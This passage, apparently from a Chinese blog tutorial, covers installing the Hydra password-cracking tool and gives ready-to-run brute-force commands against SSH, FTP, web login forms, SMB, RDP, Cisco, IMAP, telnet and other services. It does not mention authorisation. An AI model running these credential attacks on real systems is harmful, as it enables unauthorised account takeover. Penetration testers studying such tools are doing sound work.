apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev hydra
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel
2、Hydra 安裝
# wget http://www.thc.org/releases/hydra-7.4.1.tar.gz # tar zxvf hydra-7.4.1.tar.gz # cd hydra-7.4.1 # ./configure # make && make install
# ./configure 會檢測當前系統一些組件配置,主要是對於破解支持模塊的檢測,可根據需要安裝對應的支持庫和依賴包。
# make
# make install
三、Syntax
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R
繼續從上一次進度接著破解
-S
大寫,采用SSL鏈接
-s <PORT>
小寫,可通過這個參數指定非默認端口
-l <LOGIN>
指定破解的用戶,對特定用戶破解
-L <FILE>
指定用戶名字典
-p <PASS>
小寫,指定密碼破解,少用,一般是采用密碼字典
-P <FILE>
大寫,指定密碼字典
-e <ns>
可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C <FILE>
使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P參數
-M <FILE>
指定目標列表文件一行一條
-o <FILE>
指定結果輸出文件
-f
在使用-M參數以後,找到第一對登錄名或者密碼的時候中止破解
-t <TASKS>
同時運行的線程數,默認為16
-w <TIME>
設置最大超時的時間,單位秒,默認是30s
-v / -V
顯示詳細過程
server
目標ip
service
指定服務名,支持的服務和協議:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT
可選項
四、實例
1、手動創建用戶名字典和密碼字典,這裡只是為了演示,只加了幾個用戶名和弱口令。真正破解時,需要利用密碼字典生成器生成強大的字典。
2、破解ssh:
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
破解成功,直接顯示結果。
也可以使用 -o 選項指定結果輸出文件。
# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh
五、其他類型密碼破解
破解ftp:
# hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認16) -vV # hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
get方式提交,破解web登錄:
# hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns ip http-get /admin/ # hydra -l 用戶名 -p 密碼字典 -t 線程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登錄:
該軟件的強大之處就在於支持多種協議的破解,同樣也支持對於web用戶界面的登錄破解,get方式提交的表單比較簡單,這裡通過post方式提交密碼破解提供思路。該工具有一個不好的地方就是,如果目標網站登錄時候需要驗證碼就無法破解了。帶參數破解如下:
<form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form>
假設有以上一個密碼登錄表單,我們執行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
說明:破解的用戶名是admin,密碼字典是pass.lst,破解結果保存在ok.lst,-t 是同時線程數為1,-f 是當破解了一個密碼就停止,ip 是本地,就是目標ip,http-post-form表示破解是采用http 的post 方式提交的表單密碼破解。
後面參數是網頁中對應的表單字段的name 屬性,後面<title>中的內容是表示錯誤猜解的返回信息提示,可以自定義。
破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak:
# hydra -l 用戶名 -P 密碼字典 -s 端口號 -vV ip teamspeak
破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
破解telnet
# hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V
六、總結
此工具強大之處遠多於以上測試,其密碼能否破解關鍵在於強大的字典,對於社工型滲透來說,有時能夠得到事半功倍的效果。